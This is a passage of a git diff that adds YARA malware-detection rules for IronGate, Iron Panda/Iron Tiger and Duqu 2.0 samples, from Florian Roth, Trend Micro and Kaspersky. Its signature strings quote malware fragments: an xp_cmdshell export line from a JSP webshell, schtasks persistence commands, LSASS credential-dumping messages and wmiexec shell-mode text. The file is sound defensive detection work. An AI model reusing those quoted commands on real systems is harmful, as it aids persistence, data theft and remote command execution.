+		// Software\Microsoft\Windows\CurrentVersion\Run
+		$s2 = { c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00 } // 10003D09
+		$s3 = { 66 [4-7] 0d 40 83 f8 44 7c ?? }
+		// xor		word ptr [ebp+eax*2+var_5C], 14h
+		// inc		eax
+		// cmp     	eax, 14h
+		// Loop to decode a static string. It reveals the "1a53b0cp32e46g0qio9" static string sent in the beacon
+		$s4 = { 66 [4-7] 14 40 83 f8 14 7c ?? } // 100017F0
+		$s5 = { 66 [4-7] 56 40 83 f8 2d 7c ?? } // 10003621
+		$s6 = { 66 [4-7] 20 40 83 f8 1a 7c ?? } // 10003640
+		$s7 = { 80 [2-7] 2e 40 3d 50 02 00 00 72 ?? } //  10003930
+		$s8 = "%08x%08x%08x%08x" wide ascii
+		$s9 = "WinHttpGetIEProxyConfigForCurrentUser" wide ascii
+	condition:
+		(uint16(0) == 0x5A4D or uint32(0) == 0x4464c457f) and (all of them)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_irongate.yar b/yara-mikesxrs/Florian Roth/apt_irongate.yar
new file mode 100644
index 0000000..5512975
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_irongate.yar	
@@ -0,0 +1,96 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-04
+	Identifier: IronGate (FireEye)
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IronGate_APT_Step7ProSim_Gen {
+	meta:
+		description = "Detects IronGate APT Malware - Step7ProSim DLL"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 90
+		hash1 = "0539af1a0cc7f231af8f135920a990321529479f6534c3b64e571d490e1514c3"
+		hash2 = "fa8400422f3161206814590768fc1a27cf6420fc5d322d52e82899ac9f49e14f"
+		hash3 = "5ab1672b15de9bda84298e0bb226265af09b70a9f0b26d6dfb7bdd6cbaed192d"
+	strings:
+		$x1 = "\\obj\\Release\\Step7ProSim.pdb" ascii
+
+		$s1 = "Step7ProSim.Interfaces" fullword ascii
+		$s2 = "payloadExecutionTimeInMilliSeconds" fullword ascii
+		$s3 = "PackagingModule.Step7ProSim.dll" fullword wide
+		$s4 = "<KillProcess>b__0" fullword ascii
+		$s5 = "newDllFilename" fullword ascii
+		$s6 = "PackagingModule.exe" fullword wide
+		$s7 = "$863d8af0-cee6-4676-96ad-13e8540f4d47" fullword ascii
+		$s8 = "RunPlcSim" fullword ascii
+		$s9 = "$ccc64bc5-ef95-4217-adc4-5bf0d448c272" fullword ascii
+		$s10 = "InstallProxy" fullword ascii
+		$s11 = "DllProxyInstaller" fullword ascii
+		$s12 = "FindFileInDrive" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and ( $x1 or 3 of ($s*) ) )
+		or ( 6 of them )
+}
+
+rule IronGate_PyInstaller_update_EXE {
+	meta:
+		description = "Detects a PyInstaller file named update.exe as mentioned in the IronGate APT"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 60
+		hash1 = "2044712ceb99972d025716f0f16aa039550e22a63000d2885f7b7cd50f6834e0"
+	strings:
+		$s1 = "bpython27.dll" fullword ascii
+		$s5 = "%s%s.exe" fullword ascii
+		$s6 = "bupdate.exe.manifest" fullword ascii
+		$s9 = "bunicodedata.pyd" fullword ascii
+		$s11 = "distutils.sysconfig(" fullword ascii
+		$s16 = "distutils.debug(" fullword ascii
+		$s18 = "supdate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+/* Additional Rules --------------------------------------------------------- */
+/* Other tools used in the APT ---------------------------------------------- */
+
+rule Nirsoft_NetResView {
+	meta:
+		description = "Detects NirSoft NetResView - utility that displays the list of all network resources"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 40
+		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
+	strings:
+		$s1 = "NetResView.exe" fullword wide
+		$s2 = "2005 - 2013 Nir Sofer" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+/* These only work with external variable "filename" ------------------------ */
+/* as used in LOKI, THOR, SPARK --------------------------------------------- */
+
+rule SysInterals_PipeList_NameChanged {
+	meta:
+		description = "Detects NirSoft PipeList"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 90
+		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
+	strings:
+		$s1 = "PipeList" ascii fullword
+		$s2 = "Sysinternals License" ascii fullword
+	condition:
+		uint16(0) == 0x5a4d and filesize < 170KB and all of them
+		and not filename == "pipelist.exe"
+		and not filename == "PipeList.exe"
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_irontiger.yar b/yara-mikesxrs/Florian Roth/apt_irontiger.yar
new file mode 100644
index 0000000..e210d5c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_irontiger.yar	
@@ -0,0 +1,146 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-16
+	Identifier: Iron Panda
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IronPanda_DNSTunClient {
+	meta:
+		description = "Iron Panda malware DnsTunClient - file named.exe"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		score = 80
+		hash = "a08db49e198068709b7e52f16d00a10d72b4d26562c0d82b4544f8b0fb259431"
+	strings:
+		$s1 = "dnstunclient -d or -domain <domain>" fullword ascii
+		$s2 = "dnstunclient -ip <server ip address>" fullword ascii
+		$s3 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"\\Microsoft\\Windows\\PLA\\System\\Microsoft Windows\" /tr " fullword ascii
+		$s4 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"Microsoft Windows\" /tr " fullword ascii
+		$s5 = "taskkill /im conime.exe" fullword ascii
+		$s6 = "\\dns control\\t-DNSTunnel\\DnsTunClient\\DnsTunClient.cpp" fullword ascii
+		$s7 = "UDP error:can not bing the port(if there is unclosed the bind process?)" fullword ascii
+		$s8 = "use error domain,set domain pls use -d or -domain mark(Current: %s,recv %s)" fullword ascii
+		$s9 = "error: packet num error.the connection have condurt,pls try later" fullword ascii
+		$s10 = "Coversation produce one error:%s,coversation fail" fullword ascii
+		$s11 = "try to add many same pipe to select group(or mark is too easy)." fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 2 of them ) 
+		or
+		5 of them
+}
+
+rule IronPanda_Malware1 {
+	meta:
+		description = "Iron Panda Malware"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "a0cee5822ddf254c254a5a0b7372c9d2b46b088a254a1208cb32f5fe7eca848a"
+	strings:
+		$x1 = "activedsimp.dll" fullword wide
+		$s1 = "get_BadLoginAddress" fullword ascii
+		$s2 = "get_LastFailedLogin" fullword ascii
+		$s3 = "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" fullword ascii
+		$s4 = "get_PasswordExpirationDate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule IronPanda_Webshell_JSP {
+	meta:
+		description = "Iron Panda Malware JSP"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "3be95477e1d9f3877b4355cff3fbcdd3589bb7f6349fd4ba6451e1e9d32b7fa6"
+	strings:
+		$s1 = "Bin_ExecSql(\"exec master..xp_cmdshell'bcp \\\"select safile from \" + db + \"..bin_temp\\\" queryout \\\"\" + Bin_TextBox_SaveP" ascii
+		$s2 = "tc.Text=\"<a href=\\\"javascript:Bin_PostBack('zcg_ClosePM','\"+Bin_ToBase64(de.Key.ToString())+\"')\\\">Close</a>\";" fullword ascii
+		$s3 = "Bin_ExecSql(\"IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp\");" fullword ascii
+	condition:
+		filesize < 330KB and 1 of them
+}
+
+rule IronPanda_Malware_Htran {
+	meta:
+		description = "Iron Panda Malware Htran"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "7903f94730a8508e9b272b3b56899b49736740cea5037ea7dbb4e690bcaf00e7"
+	strings:
+		$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
+		$s2 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s3 = "-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s4 = "[-] ERROR: Must supply logfile name." fullword ascii
+		$s5 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s6 = "[+] Make a Connection to %s:%d...." fullword ascii
+		$s7 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s9 = "[+] Make a Connection to %s:%d ......" fullword ascii
+		$s10 = "cmshared_get_ptr_from_atom" fullword ascii
+		$s11 = "_cmshared_get_ptr_from_atom" fullword ascii
+		$s12 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s13 = "[-] TransmitPort invalid." fullword ascii
+		$s14 = "[+] Waiting for Client on port:%d ......" fullword ascii
+	condition:
+		 ( uint16(0) == 0x5a4d and filesize < 125KB and 3 of them ) 
+		 or 
+		 5 of them
+}
+
+rule IronPanda_Malware2 {
+	meta:
+		description = "Iron Panda Malware"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "a89c21dd608c51c4bf0323d640f816e464578510389f9edcf04cd34090decc91"
+	strings:
+		$s0 = "\\setup.exe" fullword ascii
+		$s1 = "msi.dll.urlUT" fullword ascii
+		$s2 = "msi.dllUT" fullword ascii
+		$s3 = "setup.exeUT" fullword ascii
+		$s4 = "/c del /q %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule IronPanda_Malware3 {
+	meta:
+		description = "Iron Panda Malware"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "5cd2af844e718570ae7ba9773a9075738c0b3b75c65909437c43201ce596a742"
+	strings:
+		$s0 = "PluginDeflater.exe" fullword wide
+		$s1 = ".Deflated" fullword wide
+		$s2 = "PluginDeflater" fullword ascii
+		$s3 = "DeflateStream" fullword ascii /* Goodware String - occured 1 times */
+		$s4 = "CompressionMode" fullword ascii /* Goodware String - occured 4 times */
+		$s5 = "System.IO.Compression" fullword ascii /* Goodware String - occured 6 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10KB and all of them
+}
+
+rule IronPanda_Malware4 {
+	meta:
+		description = "Iron Panda Malware"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "0d6da946026154416f49df2283252d01ecfb0c41c27ef3bc79029483adc2240c"
+	strings:
+		$s0 = "TestPlugin.dll" fullword wide
+		$s1 = "<a href='http://www.baidu.com'>aasd</a>" fullword wide
+		$s2 = "Zcg.Test.AspxSpyPlugins" fullword ascii
+		$s6 = "TestPlugin" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10KB and all of them
+}
+
diff --git a/yara-mikesxrs/Florian Roth/apt_irontiger_trendmicro.yar b/yara-mikesxrs/Florian Roth/apt_irontiger_trendmicro.yar
new file mode 100644
index 0000000..98d81a9
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_irontiger_trendmicro.yar	
@@ -0,0 +1,289 @@
+rule IronTiger_ASPXSpy
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "ASPXSpy detection. It might be used by other fraudsters"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str2 = "IIS Spy" wide ascii
+		$str3 = "protected void DGCoW(object sender,EventArgs e)" nocase wide ascii
+	condition:
+		any of ($str*)
+}
+
+rule IronTiger_ChangePort_Toolkit_driversinstall
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Changeport Toolkit driverinstall"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "openmydoor" nocase wide ascii
+		$str2 = "Install service error" nocase wide ascii
+		$str3 = "start remove service" nocase wide ascii
+		$str4 = "NdisVersion" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_ChangePort_Toolkit_ChangePortExe
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Toolkit ChangePort"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Unable to alloc the adapter!" nocase wide ascii
+		$str2 = "Wait for master fuck" nocase wide ascii
+		$str3 = "xx.exe <HOST> <PORT>" nocase wide ascii
+		$str4 = "chkroot2007" nocase wide ascii
+		$str5 = "Door is bind on %s" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_dllshellexc2010
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "dllshellexc2010 Exchange backdoor + remote shell"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Microsoft.Exchange.Clients.Auth.dll" nocase ascii wide
+		$str2 = "Dllshellexc2010" nocase wide ascii
+		$str3 = "Users\\ljw\\Documents" nocase wide ascii
+		$bla1 = "please input path" nocase wide ascii
+		$bla2 = "auth.owa" nocase wide ascii
+	condition:
+		(uint16(0) == 0x5a4d) and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_dnstunnel
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "This rule detects a dns tunnel tool used in Operation Iron Tiger"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "\\DnsTunClient\\" nocase wide ascii
+		$str2 = "\\t-DNSTunnel\\" nocase wide ascii
+		$str3 = "xssok.blogspot" nocase wide ascii
+		$str4 = "dnstunclient" nocase wide ascii
+		$mistake1 = "because of error, can not analysis" nocase wide ascii
+		$mistake2 = "can not deal witn the error" nocase wide ascii
+		$mistake3 = "the other retun one RST" nocase wide ascii
+		$mistake4 = "Coversation produce one error" nocase wide ascii
+		$mistake5 = "Program try to use the have deleted the buffer" nocase wide ascii
+	condition:
+		(uint16(0) == 0x5a4d) and ((any of ($str*)) or (any of ($mistake*)))
+}
+
+rule IronTiger_EFH3_encoder
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger EFH3 Encoder"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "EFH3 [HEX] [SRCFILE] [DSTFILE]" nocase wide ascii
+		$str2 = "123.EXE 123.EFH" nocase wide ascii
+		$str3 = "ENCODER: b[i]: = " nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+rule IronTiger_GetPassword_x64
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - GetPassword x64"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "(LUID ERROR)" nocase wide ascii
+		$str2 = "Users\\K8team\\Desktop\\GetPassword" nocase wide ascii
+		$str3 = "Debug x64\\GetPassword.pdb" nocase wide ascii
+		$bla1 = "Authentication Package:" nocase wide ascii
+		$bla2 = "Authentication Domain:" nocase wide ascii
+		$bla3 = "* Password:" nocase wide ascii
+		$bla4 = "Primary User:" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_Gh0stRAT_variant
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "This is a detection for a s.exe variant seen in Op. Iron Tiger"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Game Over Good Luck By Wind" nocase wide ascii
+		$str2 = "ReleiceName" nocase wide ascii
+		$str3 = "jingtisanmenxiachuanxiao.vbs" nocase wide ascii
+		$str4 = "Winds Update" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+		and not filename == "UpdateSystemMib.exe"
+}
+
+rule IronTiger_GTalk_Trojan
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - GTalk Trojan"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "gtalklite.com" nocase wide ascii
+		$str2 = "computer=%s&lanip=%s&uid=%s&os=%s&data=%s" nocase wide ascii
+		$str3 = "D13idmAdm" nocase wide ascii
+		$str4 = "Error: PeekNamedPipe failed with %i" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_HTTPBrowser_Dropper
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - HTTPBrowser Dropper"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = ".dllUT" nocase wide ascii
+		$str2 = ".exeUT" nocase wide ascii
+		$str3 = ".urlUT" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_HTTP_SOCKS_Proxy_soexe
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Toolset - HTTP SOCKS Proxy soexe"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "listen SOCKET error." nocase wide ascii
+		$str2 = "WSAAsyncSelect SOCKET error." nocase wide ascii
+		$str3 = "new SOCKETINFO error!" nocase wide ascii
+		$str4 = "Http/1.1 403 Forbidden" nocase wide ascii
+		$str5 = "Create SOCKET error." nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (3 of ($str*))
+}
+
+rule IronTiger_NBDDos_Gh0stvariant_dropper
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - NBDDos Gh0stvariant Dropper"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "This service can't be stoped." nocase wide ascii
+		$str2 = "Provides support for media palyer" nocase wide ascii
+		$str4 = "CreaetProcess Error" nocase wide ascii
+		$bla1 = "Kill You" nocase wide ascii
+		$bla2 = "%4.2f GB" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_PlugX_DosEmulator
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - PlugX DosEmulator"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Dos Emluator Ver" nocase wide ascii
+		$str2 = "\\PIPE\\FASTDOS" nocase wide ascii
+		$str3 = "FastDos.cpp" nocase wide ascii
+		$str4 = "fail,error code = %d." nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+rule IronTiger_PlugX_FastProxy
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - PlugX FastProxy"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "SAFEPROXY HTServerTimer Quit!" nocase wide ascii
+		$str2 = "Useage: %s pid" nocase wide ascii
+		$str3 = "%s PORT[%d] TO PORT[%d] SUCCESS!" nocase wide ascii
+		$str4 = "p0: port for listener" nocase wide ascii
+		$str5 = "\\users\\whg\\desktop\\plug\\" nocase wide ascii
+		$str6 = "[+Y] cwnd : %3d, fligth:" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+rule IronTiger_PlugX_Server
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - PlugX Server"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "\\UnitFrmManagerKeyLog.pas" nocase wide ascii
+		$str2 = "\\UnitFrmManagerRegister.pas" nocase wide ascii
+		$str3 = "Input Name..." nocase wide ascii
+		$str4 = "New Value#" nocase wide ascii
+		$str5 = "TThreadRControl.Execute SEH!!!" nocase wide ascii
+		$str6 = "\\UnitFrmRControl.pas" nocase wide ascii
+		$str7 = "OnSocket(event is error)!" nocase wide ascii
+		$str8 = "Make 3F Version Ok!!!" nocase wide ascii
+		$str9 = "PELEASE DO NOT CHANGE THE DOCAMENT" nocase wide ascii
+		$str10 = "Press [Ok] Continue Run, Press [Cancel] Exit" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_ReadPWD86
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - ReadPWD86"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Fail To Load LSASRV" nocase wide ascii
+		$str2 = "Fail To Search LSASS Data" nocase wide ascii
+		$str3 = "User Principal" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (all of ($str*))
+}
+
+rule IronTiger_Ring_Gh0stvariant
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Ring Gh0stvariant"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "RING RAT Exception" nocase wide ascii
+		$str2 = "(can not update server recently)!" nocase wide ascii
+		$str4 = "CreaetProcess Error" nocase wide ascii
+		$bla1 = "Sucess!" nocase wide ascii
+		$bla2 = "user canceled!" nocase wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_wmiexec
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Tool - wmi.vbs detection"
+		reference = "http://goo.gl/T5fSJC"
+	strings:
+		$str1 = "Temp Result File , Change it to where you like" nocase wide ascii
+		$str2 = "wmiexec" nocase wide ascii
+		$str3 = "By. Twi1ight" nocase wide ascii
+		$str4 = "[both mode] ,delay TIME to read result" nocase wide ascii
+		$str5 = "such as nc.exe or Trojan" nocase wide ascii
+		$str6 = "+++shell mode+++" nocase wide ascii
+		$str7 = "win2008 fso has no privilege to delete file" nocase wide ascii
+	condition:
+		2 of ($str*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_kaspersky_duqu2.yar b/yara-mikesxrs/Florian Roth/apt_kaspersky_duqu2.yar
new file mode 100644
index 0000000..edb0290
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_kaspersky_duqu2.yar	
@@ -0,0 +1,147 @@
+/*
+	Yara Rule Set
+	Author: Mixed - Kasperksy & Florian Roth
+	Date: 2015-06-10
+	Identifier: Duqu2
+*/
+
+/* Rules by Kaspersky ------------------------------------------------------ */
+
+rule apt_duqu2_loaders { 
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 samples"
+		last_modified = "2015-06-09"
+		version = "1.0"
+	strings:
+		$a1 = "{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide 
+		$a2 = "\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a4 = "\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
+		$a5 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
+		$a8 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
+		$a9 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
+		$a7 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
+		$b1 = "MSI.dll"
+		$b2 = "msi.dll"
+		$b3 = "StartAction"
+		$c1 = "msisvc_32@" wide
+		$c2 = "PROP=" wide
+		$c3 = "-Embedding" wide
+		$c4 = "S:(ML;;NW;;;LW)" wide
+		$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
+		$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
+	condition:
+		( (uint16(0) == 0x5a4d) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) ) and filesize < 100000 )
+		or
+		( (uint32(0) == 0xe011cfd0) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) or (any of ($d*)) ) and filesize < 20000000 )
+}
+
+rule apt_duqu2_drivers { 
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 drivers"
+		last_modified = "2015-06-09"
+		version = "1.0"
+	strings:
+		$a1 = "\\DosDevices\\port_optimizer" wide nocase 
+		$a2 = "romanian.antihacker" 
+		$a3 = "PortOptimizerTermSrv" wide 
+		$a4 = "ugly.gorilla1"
+		$b1 = "NdisIMCopySendCompletePerPacketInfo" 
+		$b2 = "NdisReEnumerateProtocolBindings"
+		$b3 = "NdisOpenProtocolConfiguration"
+	condition:
+		uint16(0) == 0x5A4D and (any of ($a*) ) and (2 of ($b*)) and filesize < 100000
+}
+
+/* Action Loader Samples --------------------------------------------------- */
+
+rule Duqu2_Generic1 {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - Generic Rule"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		super_rule = 1
+		hash0 = "3f9168facb13429105a749d35569d1e91465d313"
+		hash1 = "0a574234615fb2382d85cd6d1a250d6c437afecc"
+		hash2 = "38447ed1d5e3454fe17699f86c0039f30cc64cde"
+		hash3 = "5282d073ee1b3f6ce32222ccc2f6066e2ca9c172"
+		hash4 = "edfca3f0196788f7fde22bd92a8817a957c10c52"
+		hash5 = "6a4ffa6ca4d6fde8a30b6c8739785f4bd2b5c415"
+		hash6 = "00170bf9983e70e8dd4f7afe3a92ce1d12664467"
+		hash7 = "32f8689fd18c723339414618817edec6239b18f3"
+		hash8 = "f860acec9920bc009a1ad5991f3d5871c2613672"
+		hash9 = "413ba509e41c526373f991d1244bc7c7637d3e13"
+		hash10 = "29cd99a9b6d11a09615b3f9ef63f1f3cffe7ead8"
+		hash11 = "dfe1cb775719b529138e054e7246717304db00b1"
+	strings:
+		$s0 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" fullword wide
+		$s1 = "SetSecurityDescriptorSacl" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 189 times */
+		$s2 = "msisvc_32@" fullword wide
+		$s3 = "CompareStringA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1392 times */
+		$s4 = "GetCommandLineW" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1680 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule APT_Kaspersky_Duqu2_procexp {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - Malicious MSI"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash1 = "2422835716066b6bcecb045ddd4f1fbc9486667a"
+		hash2 = "b120620b5d82b05fee2c2153ceaf305807fa9f79"
+		hash3 = "288ebfe21a71f83b5575dfcc92242579fb13910d"
+	strings:
+		$x1 = "svcmsi_32.dll" fullword wide
+		$x2 = "msi3_32.dll" fullword wide
+		$x3 = "msi4_32.dll" fullword wide
+		$x4 = "MSI.dll" fullword ascii
+
+		$s1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
+		$s2 = "Sysinternals installer" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Process Explorer" fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) ) and ( all of ($s*) )
+}
+
+rule APT_Kaspersky_Duqu2_SamsungPrint {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - file 2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash = "ce39f41eb4506805efca7993d3b0b506ab6776ca"
+	strings:
+		$s0 = "Installer for printer drivers and applications" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "msi4_32.dll" fullword wide
+		$s2 = "HASHVAL" fullword wide
+		$s3 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
+		$s4 = "ca.dll" fullword ascii
+		$s5 = "Samsung Electronics Co., Ltd." fullword wide
+	condition:
